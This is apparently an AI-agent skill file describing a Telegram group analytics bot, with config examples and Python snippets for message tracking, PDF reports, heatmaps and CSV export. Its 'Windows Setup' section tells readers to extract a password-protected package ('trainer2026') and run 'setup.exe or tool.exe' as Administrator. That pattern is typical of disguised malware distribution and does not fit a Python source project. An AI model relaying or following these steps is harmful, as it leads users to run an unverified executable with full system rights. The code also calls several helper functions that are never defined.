telegram-group-statistics-analytics-bot

name	telegram-group-statistics-analytics-bot
description	Track and analyze Telegram group activity with member growth, message stats, engagement metrics, and automated daily/weekly reports
triggers	["analyze telegram group statistics","track telegram group member growth","generate telegram group activity report","monitor telegram group engagement metrics","export telegram group message statistics","set up telegram group analytics bot","create telegram activity heatmap","get telegram group user participation data"]

Telegram Group Statistics & Analytics Bot

Skill by ara.so — Data Skills collection

Overview

This bot tracks and analyzes Telegram group activity including:

• Member growth (joins, leaves, net changes)
• Message statistics per user
• Activity heatmaps (hours, days)
• Engagement metrics
• Automated daily/weekly reports (PDF/HTML)
• CSV data export
• Activity drop alerts

Installation

Windows Setup

1. Download the package from the repository
2. Extract using password: trainer2026
3. Run setup.exe or tool.exe as Administrator
4. Configure initial settings through the GUI

Python/Source Installation

If building from source (language detection needed):

# Clone repository
git clone https://github.com/ddperso/Telegram_Group_Statistics___Analytics_Bot.git
cd Telegram_Group_Statistics___Analytics_Bot

# Install dependencies
pip install -r requirements.txt

# Set up environment variables
cp .env.example .env
# Edit .env with your credentials

Configuration

Environment Variables

# Telegram API credentials (get from https://my.telegram.org)
TELEGRAM_API_ID=your_api_id
TELEGRAM_API_HASH=your_api_hash
TELEGRAM_BOT_TOKEN=your_bot_token

# Database configuration
DATABASE_URL=sqlite:///telegram_stats.db
# or PostgreSQL: postgresql://user:password@localhost/telegram_stats

# Report settings
REPORT_TIMEZONE=UTC
DAILY_REPORT_TIME=09:00
WEEKLY_REPORT_DAY=monday

# Alert thresholds
ACTIVITY_DROP_THRESHOLD=30  # percent
MIN_MESSAGE_COUNT=10

Bot Configuration File

Create config.json:

{
  "groups": [
    {
      "id": -1001234567890,
      "name": "My Group",
      "track_messages": true,
      "track_members": true,
      "generate_reports": true
    }
  ],
  "features": {
    "activity_heatmap": true,
    "user_rankings": true,
    "export_csv": true,
    "pdf_reports": true,
    "html_reports": true
  },
  "alerts": {
    "enabled": true,
    "notify_admins": true,
    "channels": ["email", "telegram"]
  }
}

Usage Patterns

Bot Commands

/start - Initialize bot and show menu
/stats - Get current group statistics
/report [daily|weekly|monthly] - Generate activity report
/top [10] - Show top N active users
/growth - Display member growth chart
/export [csv|json] - Export data
/heatmap - Generate activity heatmap
/alerts on|off - Toggle activity alerts
/settings - Configure bot parameters

Programmatic Usage (Python)

from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters
import os
from datetime import datetime, timedelta

# Initialize bot
app = Application.builder().token(os.getenv("TELEGRAM_BOT_TOKEN")).build()

# Track message handler
async def track_message(update: Update, context):
    """Track every message for statistics"""
    chat_id = update.effective_chat.id
    user_id = update.effective_user.id
    message_date = update.message.date
    
    # Store in database
    await store_message_stat(
        chat_id=chat_id,
        user_id=user_id,
        username=update.effective_user.username,
        message_date=message_date,
        message_type=update.message.content_type
    )

# Generate statistics command
async def get_stats(update: Update, context):
    """Get group statistics"""
    chat_id = update.effective_chat.id
    
    stats = await calculate_stats(chat_id, days=7)
    
    response = f"""
📊 **Group Statistics (Last 7 Days)**

👥 Members: {stats['total_members']} (+{stats['new_members']} | -{stats['left_members']})
💬 Messages: {stats['total_messages']}
📈 Avg/Day: {stats['avg_messages_per_day']:.1f}
🔥 Most Active: @{stats['top_user']['username']} ({stats['top_user']['count']} msgs)
⏰ Peak Hour: {stats['peak_hour']}:00

📅 Daily Breakdown:
{format_daily_breakdown(stats['daily_data'])}
    """
    
    await update.message.reply_text(response, parse_mode="Markdown")

# Member tracking
async def track_member_join(update: Update, context):
    """Track new member joins"""
    for member in update.message.new_chat_members:
        await store_member_event(
            chat_id=update.effective_chat.id,
            user_id=member.id,
            username=member.username,
            event_type="join",
            timestamp=update.message.date
        )

async def track_member_leave(update: Update, context):
    """Track member leaves"""
    await store_member_event(
        chat_id=update.effective_chat.id,
        user_id=update.message.left_chat_member.id,
        username=update.message.left_chat_member.username,
        event_type="leave",
        timestamp=update.message.date
    )

# Register handlers
app.add_handler(MessageHandler(filters.ALL, track_message))
app.add_handler(CommandHandler("stats", get_stats))
app.add_handler(MessageHandler(filters.StatusUpdate.NEW_CHAT_MEMBERS, track_member_join))
app.add_handler(MessageHandler(filters.StatusUpdate.LEFT_CHAT_MEMBER, track_member_leave))

# Run bot
app.run_polling()

Database Schema

from sqlalchemy import Column, Integer, String, DateTime, ForeignKey, BigInteger
from sqlalchemy.ext.declarative import declarative_base

Base = declarative_base()

class Message(Base):
    __tablename__ = 'messages'
    
    id = Column(Integer, primary_key=True)
    chat_id = Column(BigInteger, index=True)
    user_id = Column(BigInteger, index=True)
    username = Column(String(255))
    message_date = Column(DateTime, index=True)
    message_type = Column(String(50))
    
class MemberEvent(Base):
    __tablename__ = 'member_events'
    
    id = Column(Integer, primary_key=True)
    chat_id = Column(BigInteger, index=True)
    user_id = Column(BigInteger, index=True)
    username = Column(String(255))
    event_type = Column(String(20))  # join/leave
    timestamp = Column(DateTime, index=True)

class GroupStats(Base):
    __tablename__ = 'group_stats'
    
    id = Column(Integer, primary_key=True)
    chat_id = Column(BigInteger, unique=True)
    total_members = Column(Integer, default=0)
    total_messages = Column(Integer, default=0)
    last_updated = Column(DateTime)

Generating Reports

from reportlab.lib.pagesizes import letter
from reportlab.pdfgen import canvas
import matplotlib.pyplot as plt

async def generate_pdf_report(chat_id: int, period: str = "weekly"):
    """Generate PDF report with charts"""
    stats = await calculate_stats(chat_id, period=period)
    
    # Create PDF
    filename = f"report_{chat_id}_{period}_{datetime.now().strftime('%Y%m%d')}.pdf"
    c = canvas.Canvas(filename, pagesize=letter)
    
    # Title
    c.setFont("Helvetica-Bold", 20)
    c.drawString(50, 750, f"Group Analytics Report - {period.capitalize()}")
    
    # Statistics
    c.setFont("Helvetica", 12)
    y = 700
    for key, value in stats.items():
        c.drawString(50, y, f"{key}: {value}")
        y -= 20
    
    # Generate charts
    generate_activity_chart(stats['daily_data'], "activity_chart.png")
    c.drawImage("activity_chart.png", 50, 400, width=500, height=250)
    
    c.save()
    return filename

def generate_activity_heatmap(chat_id: int, days: int = 30):
    """Generate activity heatmap"""
    data = fetch_hourly_activity(chat_id, days)
    
    # Create heatmap
    plt.figure(figsize=(12, 6))
    plt.imshow(data, cmap='YlOrRd', aspect='auto')
    plt.colorbar(label='Message Count')
    plt.xlabel('Hour of Day')
    plt.ylabel('Day of Week')
    plt.title('Activity Heatmap')
    plt.xticks(range(24))
    plt.yticks(range(7), ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'])
    
    filename = f"heatmap_{chat_id}.png"
    plt.savefig(filename)
    plt.close()
    
    return filename

CSV Export

import csv
from datetime import datetime

async def export_to_csv(chat_id: int, start_date: datetime, end_date: datetime):
    """Export statistics to CSV"""
    messages = await fetch_messages(chat_id, start_date, end_date)
    
    filename = f"export_{chat_id}_{start_date.strftime('%Y%m%d')}.csv"
    
    with open(filename, 'w', newline='', encoding='utf-8') as f:
        writer = csv.writer(f)
        writer.writerow(['Date', 'User ID', 'Username', 'Message Count', 'Type'])
        
        for msg in messages:
            writer.writerow([
                msg.message_date.strftime('%Y-%m-%d %H:%M:%S'),
                msg.user_id,
                msg.username,
                1,
                msg.message_type
            ])
    
    return filename

Alert System

async def check_activity_alerts(chat_id: int):
    """Check for activity drops and send alerts"""
    current_activity = await get_daily_message_count(chat_id)
    avg_activity = await get_average_daily_messages(chat_id, days=30)
    
    threshold = float(os.getenv("ACTIVITY_DROP_THRESHOLD", 30))
    drop_percent = ((avg_activity - current_activity) / avg_activity) * 100
    
    if drop_percent > threshold:
        await send_alert(
            chat_id=chat_id,
            alert_type="activity_drop",
            message=f"⚠️ Activity dropped by {drop_percent:.1f}%!\n"
                   f"Current: {current_activity} messages\n"
                   f"Average: {avg_activity:.0f} messages"
        )

# Schedule periodic checks
from apscheduler.schedulers.asyncio import AsyncIOScheduler

scheduler = AsyncIOScheduler()
scheduler.add_job(check_activity_alerts, 'interval', hours=1)
scheduler.start()

Common Patterns

Daily Report Automation

from apscheduler.triggers.cron import CronTrigger

async def send_daily_report(context):
    """Send daily report to all configured groups"""
    for group in config['groups']:
        if group['generate_reports']:
            report = await generate_pdf_report(group['id'], "daily")
            await context.bot.send_document(
                chat_id=group['id'],
                document=open(report, 'rb'),
                caption="📊 Daily Activity Report"
            )

# Schedule at configured time
report_time = os.getenv("DAILY_REPORT_TIME", "09:00").split(":")
scheduler.add_job(
    send_daily_report,
    CronTrigger(hour=int(report_time[0]), minute=int(report_time[1]))
)

User Engagement Scoring

async def calculate_engagement_score(user_id: int, chat_id: int, days: int = 30):
    """Calculate user engagement score"""
    stats = await get_user_stats(user_id, chat_id, days)
    
    score = 0
    score += stats['message_count'] * 1
    score += stats['days_active'] * 5
    score += stats['replies_received'] * 2
    score += stats['media_shared'] * 3
    
    # Normalize to 0-100
    max_possible = days * 100
    return min(100, (score / max_possible) * 100)

Troubleshooting

Bot Not Receiving Messages

• Ensure bot has privacy mode disabled in BotFather (/setprivacy)
• Verify bot is added as admin if tracking member events
• Check TELEGRAM_API_ID and TELEGRAM_API_HASH are correct

Database Connection Issues

# Add retry logic
from sqlalchemy import create_engine
from sqlalchemy.pool import QueuePool

engine = create_engine(
    os.getenv("DATABASE_URL"),
    poolclass=QueuePool,
    pool_size=10,
    max_overflow=20,
    pool_pre_ping=True  # Verify connections
)

Memory Usage with Large Groups

# Batch process messages
async def process_messages_batch(chat_id: int, batch_size: int = 1000):
    """Process messages in batches to avoid memory issues"""
    offset = 0
    while True:
        messages = await fetch_messages_paginated(chat_id, offset, batch_size)
        if not messages:
            break
        
        await process_batch(messages)
        offset += batch_size

Rate Limiting

from telegram.error import RetryAfter
import asyncio

async def send_with_retry(chat_id, message):
    """Send message with automatic retry on rate limit"""
    try:
        await bot.send_message(chat_id, message)
    except RetryAfter as e:
        await asyncio.sleep(e.retry_after)
        await send_with_retry(chat_id, message)

Best Practices

1. Use database indexes on chat_id, user_id, and message_date columns
2. Archive old data periodically to maintain performance
3. Cache statistics for frequently requested metrics
4. Schedule heavy operations during low-activity periods
5. Monitor bot health with logging and error tracking
6. Backup database regularly, especially before updates